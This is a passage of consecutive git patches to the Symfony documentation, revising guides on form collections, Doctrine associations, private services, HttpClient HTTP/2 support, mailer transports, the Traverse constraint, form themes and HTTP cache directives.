 by creating a simple ``Task`` class::

From 75f1a7061a17c097b744c74ff036fccf0bc11776 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Apr 2020 16:57:08 +0200
Subject: [PATCH 0607/7107] Reword

---
 form/form_collections.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 7a40eace1a7..c823efb5a7e 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -9,10 +9,6 @@ of many other forms. This could be useful, for example, if you had a ``Task``
 class and you wanted to edit/create/remove many ``Tag`` objects related to
 that Task, right inside the same form.
 
-.. note::
-
-    The example presented here is based on Doctrine.
-
 Let's start by creating a ``Task`` entity::
 
     // src/AppBundle/Entity/Task.php

From 2a475bae78812c832203e59cc028910f5d02a4ed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Apr 2020 17:15:13 +0200
Subject: [PATCH 0608/7107] Minor reword

---
 form/form_collections.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 7c519e8b0dd..13ed8781709 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -211,12 +211,13 @@ yet to add new tags or delete existing ones.
 Allowing "new" Tags with the "Prototype"
 ----------------------------------------
 
-Previously we added two dummy tags to our task in the controller.
-Now let the users add as many tag forms as they need directly in the browser.
-This will be done through a bit of JavaScript.
+Previously you added two tags to your task in the controller. Now let the users
+add as many tag forms as they need directly in the browser. This requires a bit
+of JavaScript code.
 
-But first, we need to let the form collection know that instead of exactly two,
-it will receive an *unknown* number of tags. This is done with the
+But first, you need to let the form collection know that instead of exactly two,
+it will receive an *unknown* number of tags. Otherwise, you'll see a
+*"This form should not contain extra fields"* error. This is done with the
 ``allow_add`` option::
 
     // src/AppBundle/Form/TaskType.php

From a5cb478c80a2819364401f8d679b2ed0df124cce Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 4 Apr 2020 13:46:26 +0200
Subject: [PATCH 0609/7107] Update associations.rst

Added link to Doctrine's Collection docs - please double-check link syntax
---
 doctrine/associations.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index d5b8b8bb6ce..52b4cf8c11b 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -295,9 +295,9 @@ config.
 
     The code inside ``__construct()`` is important: The ``$products`` property must
     be a collection object that implements Doctrine's ``Collection`` interface.
-    In this case, an ``ArrayCollection`` object is used. This looks and acts almost
-    *exactly* like an array, but has some added flexibility. Just imagine that it's
-    an ``array`` and you'll be in good shape.
+    In this case, an [``ArrayCollection``](`Doctrine_Collections`_) object is used.
+    This looks and acts almost *exactly* like an array, but has some added flexibility.
+    Just imagine that it is an ``array`` and you'll be in good shape.
 
 Your database is setup! Now, execute the migrations like normal:
 
@@ -604,3 +604,4 @@ Doctrine's `Association Mapping Documentation`_.
 .. _`Association Mapping Documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/association-mapping.html
 .. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal
 .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations
+.. _`Doctrine_Collections`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html

From 156ac13541ad894bd2f0f6fe09a7221e1bd55d68 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 4 Apr 2020 15:16:11 +0200
Subject: [PATCH 0610/7107] No longer recommend injecting the service container

---
 service_container.rst | 52 +++++++++++--------------------------------
 1 file changed, 13 insertions(+), 39 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 650fb3b163f..9f01e2c8788 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -817,44 +817,18 @@ loss, enable the compiler pass in your application.
 Public Versus Private Services
 ------------------------------
 
-From Symfony 4.0, every service defined is private by default.
+Every service defined is private by default. When a service is private,
+you cannot accees it directly from the container object (using
+``$container->get()``). As a best practice, you should only create
+*private* services, which will happen automatically. And also, you should
+*not* use the ``$container->get()`` method to fetch services, but instead
+use dependency injection.
 
-What does this mean? When a service **is** public, you can access it directly
-from the container object, which can also be injected thanks to autowiring.
-This is mostly useful when you want to fetch services lazily::
+If you need to fetch services lazily, instead of using public services you
+should consider using a :ref:`service locator <service-locators>` instead.
 
-    namespace App\Generator;
-
-    use Psr\Container\ContainerInterface;
-
-    class MessageGenerator
-    {
-        private $container;
-
-        public function __construct(ContainerInterface $container)
-        {
-            $this->container = $container;
-        }
-
-        public function generate(string $message, string $template = null, array $context = []): string
-        {
-            if ($template && $this->container->has('twig')) {
-                // there IS a public "twig" service in the container
-                $twig = $this->container->get('twig');
-
-                return $twig->render($template, $context + ['message' => $message]);
-            }
-
-            // if no template is passed, the "twig" service will not be loaded
-
-            // ...
-        }
-
-As a best practice, you should only create *private* services, which will happen
-automatically. And also, you should *not* use the ``$container->get()`` method to
-fetch public services.
-
-But, if you *do* need to make a service public, override the ``public`` setting:
+But, if you *do* need to make a service public, override the ``public``
+setting:
 
 .. configuration-block::
 
@@ -901,10 +875,10 @@ But, if you *do* need to make a service public, override the ``public`` setting:
             ;
         };
 
-.. note::
+.. deprecated:: 5.1
 
-    Instead of injecting the container you should consider using a
-    :ref:`service locator <service-locators>` instead.
+    As of Symfony 5.1, it is no longer possible to autowire the service
+    container by type-hinting ``Psr\Container\ContainerInterface``.
 
 .. _service-psr4-loader:
 

From e0a4905acb86af39630c18f2534618cadad4522c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 4 Apr 2020 17:23:00 +0200
Subject: [PATCH 0611/7107] Document AMPHP HttpClient integration for HTTP/2

---
 components/http_client.rst | 25 +++++++++++++++++++------
 1 file changed, 19 insertions(+), 6 deletions(-)

diff --git a/components/http_client.rst b/components/http_client.rst
index 948cb342e3e..457a93e5b46 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -46,14 +46,13 @@ with HTTP/2 and with doing concurrent asynchronous streamed and multiplexed
 requests/responses. Even when doing regular synchronous calls, this design
 allows keeping connections to remote hosts open between requests, improving
 performance by saving repetitive DNS resolution, SSL negotiation, etc.
-To leverage all these design benefits, the cURL extension is needed.
 
 Enabling cURL Support
 ~~~~~~~~~~~~~~~~~~~~~
 
 This component supports both the native PHP streams and cURL to make the HTTP
-requests. Although both are interchangeable and provide the same features,
-including concurrent requests, HTTP/2 is only supported when using cURL.
+requests. Both are interchangeable and provide the same features, including
+concurrent requests and HTTP/2 support.
 
 ``HttpClient::create()`` selects the cURL transport if the `cURL PHP extension`_
 is enabled and falls back to PHP streams otherwise. If you prefer to select
@@ -75,9 +74,21 @@ is installed and enabled. Otherwise, the native PHP streams will be used.
 HTTP/2 Support
 ~~~~~~~~~~~~~~
 
-When requesting an ``https`` URL, HTTP/2 is enabled by default if libcurl >= 7.36
-is used. To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via
-the ``http_version`` option::
+.. versionadded:: 5.1
+
+    Integration with ``amphp/http-client`` was introduced in Symfony 5.1.
+    Prior to this version, HTTP/2 was only supported when ``libcurl`` was
+    installed.
+
+The component supports HTTP/2 if one of the following tools is
+installed:
+
+* The `libcurl`_ package version 7.36 or higher;
+* The `amphp/http-client`_ Packagist package version 4.2 or higher.
+
+When requesting an ``https`` URL and HTTP/2 is supported by your server,
+HTTP/2 is enabled by default. To force HTTP/2 for ``http`` URLs, you need
+to enable it explicitly via the ``http_version`` option::
 
     $client = HttpClient::create(['http_version' => '2.0']);
 
@@ -1021,3 +1032,5 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/
 .. _`HTTPlug`: https://github.com/php-http/httplug/#readme
 .. _`Symfony Contracts`: https://github.com/symfony/contracts
+.. _`libcurl`: https://curl.haxx.se/libcurl/
+.. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client

From 8700f2eab5959ec3f8d1951445b445f77262302e Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Sun, 5 Apr 2020 06:25:20 -0400
Subject: [PATCH 0612/7107] moving mailer transport section

This is to hopefully cause less confusion with Messenger transports
---
 mailer.rst | 60 +++++++++++++++++++++++++++---------------------------
 1 file changed, 30 insertions(+), 30 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index da9aa3b3f3e..e45f2551428 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -658,6 +658,36 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+Multiple Email Transports
+-------------------------
+
+.. versionadded:: 4.4
+
+    The option to define multiple email transports was introduced in Symfony 4.4.
+
+You may want to use more than one mailer transport for delivery of your messages.
+This can be configured by replacing the ``dsn`` configuration entry with a
+``transports`` entry, like:
+
+.. code-block:: yaml
+
+    # config/packages/mailer.yaml
+    framework:
+        mailer:
+            transports:
+                main: '%env(MAILER_DSN)%'
+                alternative: '%env(MAILER_DSN_IMPORTANT)%'
+
+By default the first transport is used. The other transports can be used by
+adding a text header ``X-Transport`` to an email::
+
+    // Send using first "main" transport ...
+    $mailer->send($email);
+
+    // ... or use the "alternative" one
+    $email->getHeaders()->addTextHeader('X-Transport', 'alternative');
+    $mailer->send($email);
+
 Sending Messages Async
 ----------------------
 
@@ -719,36 +749,6 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
-Multiple Email Transports
--------------------------
-
-.. versionadded:: 4.4
-
-    The option to define multiple email transports was introduced in Symfony 4.4.
-
-You may want to use more than one mailer transport for delivery of your messages.
-This can be configured by replacing the ``dsn`` configuration entry with a
-``transports`` entry, like:
-
-.. code-block:: yaml
-
-    # config/packages/mailer.yaml
-    framework:
-        mailer:
-            transports:
-                main: '%env(MAILER_DSN)%'
-                important: '%env(MAILER_DSN_IMPORTANT)%'
-
-By default the first transport is used. The other transports can be used by
-adding a text header ``X-Transport`` to an email::
-
-    // Send using first "main" transport ...
-    $mailer->send($email);
-
-    // ... or use the "important" one
-    $email->getHeaders()->addTextHeader('X-Transport', 'important');
-    $mailer->send($email);
-
 Development & Debugging
 -----------------------
 

From ef5c98931171b8d433cf5a43ed16f7ab404af2b9 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 5 Apr 2020 02:53:25 +0200
Subject: [PATCH 0613/7107] [Validator] Fixed `Traverse` constraint reference

---
 reference/constraints/Traverse.rst | 159 ++++++++++++++++++++++++-----
 reference/constraints/Valid.rst    |   2 +-
 2 files changed, 136 insertions(+), 25 deletions(-)

diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 2d51c7548af..134b6a9fad0 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -1,10 +1,10 @@
 Traverse
 ========
 
-Objects do not validate nested objects by default unless explicitly using
-this constraint.
-If only specific nested objects should be validated by cascade, consider
-using the :doc:`/reference/constraints/Valid` instead.
+Object properties are only validated if they are accessible, either by being
+public or having public accessor methods (e.g. a public getter).
+If your object needs to be traversed to validate its data, you can use this
+constraint.
 
 +----------------+-------------------------------------------------------------------------------------+
 | Applies to     | :ref:`class <validation-class-target>`                                              |
@@ -17,19 +17,18 @@ using the :doc:`/reference/constraints/Valid` instead.
 Basic Usage
 -----------
 
-In the following example, create three classes ``Book``, ``Author`` and
-``Editor`` that all have constraints on their properties. Furthermore,
-``Book`` stores an ``Author`` and an ``Editor`` instance that must be
-valid too. Instead of adding the ``Valid`` constraint to both fields,
-configure the ``Traverse`` constraint on the ``Book`` class.
+In the following example, create two classes ``BookCollection`` and ``Book``
+that all have constraints on their properties.
 
 .. configuration-block::
 
     .. code-block:: php-annotations
 
-        // src/AppBundle/Entity/Book.php
+        // src/AppBundle/Entity/BookCollection.php
         namespace AppBundle\Entity;
 
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 
@@ -37,31 +36,66 @@ configure the ``Traverse`` constraint on the ``Book`` class.
          * @ORM\Entity
          * @Assert\Traverse
          */
-        class Book
+        class BookCollection implements \IteratorAggregate
         {
             /**
-             * @var Author
+             * @var string
              *
-             * @ORM\ManyToOne(targetEntity="AppBundle\Entity\Author")
+             * @ORM\Column
+             *
+             * @Assert\NotBlank
              */
-            protected $author;
+            protected $name = '';
 
             /**
-             * @var Editor
+             * @var Collection|Book[]
              *
-             * @ORM\ManyToOne(targetEntity="AppBundle\Entity\Editor")
+             * @ORM\ManyToMany(targetEntity="AppBundle\Entity\Book")
              */
-            protected $editor;
+            protected $books;
 
-            // ...
+            // some other properties
+
+            public function __construct()
+            {
+                $this->books = new ArrayCollection();
+            }
+
+            // ... setter for name, adder and remover for books
+
+            // the name can be validated by calling the getter
+            public function getName(): string
+            {
+                return $this->name;
+            }
+
+            /**
+             * @return \Generator|Book[] The books for a given author
+             */
+            public function getBooksForAuthor(Author $author): iterable
+            {
+                foreach ($this->books as $book) {
+                    if ($book->isAuthoredBy($author)) {
+                        yield $book;
+                    }
+                }
+            }
+
+            // neither the method above nor any other specific getter
+            // could be used to validated all nested books;
+            // this object needs to be traversed to call the iterator
+            public function getIterator()
+            {
+                return $this->books->getIterator();
+            }
         }
 
     .. code-block:: yaml
 
         # src/AppBundle/Resources/config/validation.yml
-        AppBundle\Entity\Book:
+        AppBundle\Entity\BookCollection:
             constraints:
-                - Symfony\Component\Validator\Constraints\Traverse: ~
+                - Traverse: ~
 
     .. code-block:: xml
 
@@ -71,28 +105,105 @@ configure the ``Traverse`` constraint on the ``Book`` class.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="AppBundle\Entity\Book">
-                <constraint name="Symfony\Component\Validator\Constraints\Traverse"/>
+            <class name="AppBundle\Entity\BookCollection">
+                <constraint name="Traverse"/>
             </class>
         </constraint-mapping>
 
     .. code-block:: php
 
-        // src/AppBundle/Entity/Book.php
+        // src/AppBundle/Entity/BookCollection.php
         namespace AppBundle\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Book
+        class BookCollection
         {
+            // ...
+
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addConstraint(new Assert\Traverse());
             }
         }
 
+When the object implements ``\Traversable`` (like here with its child
+``\IteratorAggregate``), its traversal strategy will implicitly be set and the
+object will be iterated over without defining the constraint.
+It's mostly useful to add it to be explicit or to disable the traversal using
+the ``traverse`` option.
+If a public getter exists to return the inner books collection like
+``getBooks(): Collection``, the :doc:`/reference/constraints/Valid` constraint
+can be used on the ``$books`` property instead.
+
 Options
 -------
 
+The ``groups`` option is not available for this constraint.
+
+
+``traverse``
+~~~~~~~~~~~~
+
+**type**: ``bool`` **default**: ``true``
+
+Instances of ``\Traversable`` are traversed by default, use this option to
+disable validating:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/AppBundle/Entity/BookCollection.php
+
+        // ... same as above
+
+        /**
+         * ...
+         * @Assert\Traverse(false)
+         */
+         class BookCollection implements \IteratorAggregate
+         {
+             // ...
+         }
+
+    .. code-block:: yaml
+
+        # src/AppBundle/Resources/config/validation.yml
+        AppBundle\Entity\BookCollection:
+            constraints:
+                - Traverse: false
+
+    .. code-block:: xml
+
+        <!-- src/AppBundle/Resources/config/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="AppBundle\Entity\BookCollection">
+                <constraint name="Traverse">false</constraint>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/AppBundle/Entity/BookCollection.php
+        namespace AppBundle\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BookCollection
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new Assert\Traverse(false));
+            }
+        }
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 87c87faf51c..02650e0cb23 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -253,7 +253,7 @@ Options
 
 **type**: ``boolean`` **default**: ``true``
 
-If this constraint is applied to a ``Traversable``, then all containing values
+If this constraint is applied to a ``\Traversable``, then all containing values
 will be validated if this option is set to ``true``. This option is ignored on
 arrays: Arrays are traversed in either case. Keys are not validated.
 

From 66c02756868355b79df7497d1a238402c164112b Mon Sep 17 00:00:00 2001
From: BETARI <amine.betari@gmail.com>
Date: Sun, 5 Apr 2020 18:47:08 +0200
Subject: [PATCH 0614/7107] Update serializer.rst

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5bfa66b2921..778a672f1e9 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -126,7 +126,7 @@ exists in your project::
 Now, if you want to serialize this object into JSON, you only need to
 use the Serializer service created before::
 
-    $person = new App\Model\Person();
+    $person = new \App\Model\Person();
     $person->setName('foo');
     $person->setAge(99);
     $person->setSportsperson(false);

From 175b70891141a5fe210684121ce09227e5c4a1aa Mon Sep 17 00:00:00 2001
From: Erison Silva <erison.sdn@gmail.com>
Date: Sun, 5 Apr 2020 11:29:46 -0300
Subject: [PATCH 0615/7107] Adding bulma theme

TwigBridge - Adding Bulma theme

Pull request: https://github.com/symfony/symfony/pull/36351
Issue: https://github.com/symfony/symfony/issues/36248
---
 form/form_themes.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index 0d726ac3008..eec35960acd 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -39,10 +39,14 @@ in a single Twig template and they are enabled in the
 * `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 6 of `Foundation CSS framework`_.
+* `bulma_0_layout.html.twig`_, wraps each form field inside a ``<div>``
+  element with the appropriate CSS classes to apply the styles used by the
+  `Bulma CSS framework`_.
 
 .. versionadded:: 5.1
 
-    The ``foundation_6_layout.html.twig`` theme was introduced in Symfony 5.1.
+    The ``foundation_6_layout.html.twig`` and ``bulma_0_layout.html.twig``
+    themes were introduced in Symfony 5.1.
 
 .. tip::
 
@@ -633,6 +637,8 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig
+.. _`bulma_0_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bulma_0_layout.html.twig
 .. _`Foundation CSS framework`: https://get.foundation/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html
+.. _`Bulma CSS framework`: https://bulma.io

From 3f53240499be616c924aefd2517dd57b05ee7ec1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Apr 2020 13:16:14 +0200
Subject: [PATCH 0616/7107] Tweak

---
 components/serializer.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 778a672f1e9..b65c00084ed 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -126,7 +126,9 @@ exists in your project::
 Now, if you want to serialize this object into JSON, you only need to
 use the Serializer service created before::
 
-    $person = new \App\Model\Person();
+    use App\Model\Person;
+
+    $person = new Person();
     $person->setName('foo');
     $person->setAge(99);
     $person->setSportsperson(false);

From 30f32d4673c5657e1ba4c06d4b074b0360416451 Mon Sep 17 00:00:00 2001
From: Oleksandr Savchenko <savchenko.oleksandr.ua@gmail.com>
Date: Mon, 6 Apr 2020 15:14:17 +0300
Subject: [PATCH 0617/7107] Document all core response http control directives

---
 components/http_foundation.rst                | 19 +++++++++-----
 .../http_kernel_httpkernelinterface.rst       | 26 ++++++++++++-------
 http_cache.rst                                | 18 ++++++++-----
 3 files changed, 40 insertions(+), 23 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 678db631be8..7b7886ec60a 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -489,13 +489,18 @@ can be used to set the most commonly used cache information in one method
 call::
 
     $response->setCache([
-        'etag'          => 'abcdef',
-        'last_modified' => new \DateTime(),
-        'max_age'       => 600,
-        's_maxage'      => 600,
-        'private'       => false,
-        'public'        => true,
-        'immutable'     => true,
+        'must_revalidate'  => false,
+        'no_cache'         => false,
+        'no_store'         => false,
+        'no_transform'     => false,
+        'public'           => true,
+        'private'          => false,
+        'proxy_revalidate' => false,
+        'max_age'          => 600,
+        's_maxage'         => 600,
+        'immutable'        => true,
+        'last_modified'    => new \DateTime(),
+        'etag'             => 'abcdef'
     ]);
 
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 9207ba342b0..350993e3d7d 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -117,22 +117,28 @@ The Response class contains methods that let you configure the HTTP cache. One
 of the most powerful is ``setCache()`` as it abstracts the most frequently used
 caching strategies into a single array::
 
-    $date = date_create_from_format('Y-m-d H:i:s', '2005-10-15 10:00:00');
-
     $response->setCache([
-        'public'        => true,
-        'etag'          => 'abcde',
-        'last_modified' => $date,
-        'max_age'       => 10,
-        's_maxage'      => 10,
+        'must_revalidate'  => false,
+        'no_cache'         => false,
+        'no_store'         => false,
+        'no_transform'     => false,
+        'public'           => true,
+        'private'          => false,
+        'proxy_revalidate' => false,
+        'max_age'          => 600,
+        's_maxage'         => 600,
+        'immutable'        => true,
+        'last_modified'    => new \DateTime(),
+        'etag'             => 'abcdef'
     ]);
 
     // it is equivalent to the following code
     $response->setPublic();
+    $response->setMaxAge(600);
+    $response->setSharedMaxAge(600);
+    $response->setImmutable();
+    $response->setLastModified(new \DateTime());
     $response->setEtag('abcde');
-    $response->setLastModified($date);
-    $response->setMaxAge(10);
-    $response->setSharedMaxAge(10);
 
 When using the validation model, the ``isNotModified()`` method allows you to
 cut on the response time by short-circuiting the response generation as early as
diff --git a/http_cache.rst b/http_cache.rst
index 6a09fbfa7c9..fab62790956 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -344,12 +344,18 @@ Additionally, most cache-related HTTP headers can be set via the single
 
     // sets cache settings in one call
     $response->setCache([
-        'etag'          => $etag,
-        'last_modified' => $date,
-        'max_age'       => 10,
-        's_maxage'      => 10,
-        'public'        => true,
-        // 'private'    => true,
+        'must_revalidate'  => false,
+        'no_cache'         => false,
+        'no_store'         => false,
+        'no_transform'     => false,
+        'public'           => true,
+        'private'          => false,
+        'proxy_revalidate' => false,
+        'max_age'          => 600,
+        's_maxage'         => 600,
+        'immutable'        => true,
+        'last_modified'    => new \DateTime(),
+        'etag'             => 'abcdef'
     ]);
 
 Cache Invalidation

From 06ab2635b13c84f6129652bdde60092114bc4437 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Apr 2020 14:40:49 +0200
Subject: [PATCH 0618/7107] Minor reword

---
 service_container.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 9f01e2c8788..8fb38677421 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -817,15 +817,13 @@ loss, enable the compiler pass in your application.
 Public Versus Private Services
 ------------------------------
 
-Every service defined is private by default. When a service is private,
-you cannot accees it directly from the container object (using
-``$container->get()``). As a best practice, you should only create
-*private* services, which will happen automatically. And also, you should
-*not* use the ``$container->get()`` method to fetch services, but instead
-use dependency injection.
+Every service defined is private by default. When a service is private, you
+cannot access it directly from the container using ``$container->get()``. As a
+best practice, you should only create *private* services and you should fetch
+services using dependency injection instead of using ``$container->get()``.
 
 If you need to fetch services lazily, instead of using public services you
-should consider using a :ref:`service locator <service-locators>` instead.
+should consider using a :ref:`service locator <service-locators>`.
 
 But, if you *do* need to make a service public, override the ``public``
 setting:

From 8bca82a978da1ae4f1c48c9fdc2abea959801f53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Apr 2020 14:55:25 +0200
Subject: [PATCH 0619/7107] Fixed the link syntax

---
 doctrine/associations.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 52b4cf8c11b..e940145bb2e 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -65,7 +65,7 @@ This will generate your new entity class::
 
     // src/Entity/Category.php
     namespace App\Entity;
-    
+
     // ...
 
     class Category
@@ -218,7 +218,7 @@ class that will hold these objects:
 
         // src/Entity/Category.php
         namespace App\Entity;
-        
+
         // ...
         use Doctrine\Common\Collections\ArrayCollection;
         use Doctrine\Common\Collections\Collection;
@@ -295,9 +295,9 @@ config.
 
     The code inside ``__construct()`` is important: The ``$products`` property must
     be a collection object that implements Doctrine's ``Collection`` interface.
-    In this case, an [``ArrayCollection``](`Doctrine_Collections`_) object is used.
-    This looks and acts almost *exactly* like an array, but has some added flexibility.
-    Just imagine that it is an ``array`` and you'll be in good shape.
+    In this case, an `ArrayCollection`_ object is used. This looks and acts almost
+    *exactly* like an array, but has some added flexibility. Just imagine that
+    it is an ``array`` and you'll be in good shape.
 
 Your database is setup! Now, execute the migrations like normal:
 
@@ -316,7 +316,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
 
     // src/Controller/ProductController.php
     namespace App/Controller;
-    
+
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
@@ -604,4 +604,4 @@ Doctrine's `Association Mapping Documentation`_.
 .. _`Association Mapping Documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/association-mapping.html
 .. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal
 .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations
-.. _`Doctrine_Collections`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html

From 0a83616027c10bf815220a6f1bedd29e534cfb71 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Apr 2020 15:24:43 +0200
Subject: [PATCH 0620/7107] Added the missing versionadded directives

---
 components/http_foundation.rst | 5 +++++
 http_cache.rst                 | 8 +++++++-
 2 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 7b7886ec60a..aaa43dd78a5 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -503,6 +503,11 @@ call::
         'etag'             => 'abcdef'
     ]);
 
+.. versionadded:: 5.1
+
+    The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and
+    ``proxy_revalidate`` directives were introduced in Symfony 5.1.
+
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
 conditional value specified in the client Request, use the
 :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified`
diff --git a/http_cache.rst b/http_cache.rst
index fab62790956..e4a1fd6a8f0 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -342,7 +342,8 @@ the most useful ones::
 Additionally, most cache-related HTTP headers can be set via the single
 :method:`Symfony\\Component\\HttpFoundation\\Response::setCache` method::
 
-    // sets cache settings in one call
+    // use this method to set several cache settings in one call
+    // (this example lists all the available cache settings)
     $response->setCache([
         'must_revalidate'  => false,
         'no_cache'         => false,
@@ -358,6 +359,11 @@ Additionally, most cache-related HTTP headers can be set via the single
         'etag'             => 'abcdef'
     ]);
 
+.. versionadded:: 5.1
+
+    The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and
+    ``proxy_revalidate`` directives were introduced in Symfony 5.1.
+
 Cache Invalidation
 ------------------
 

From e84c5eee251d11971d9ab86d0f4b696b3c171097 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
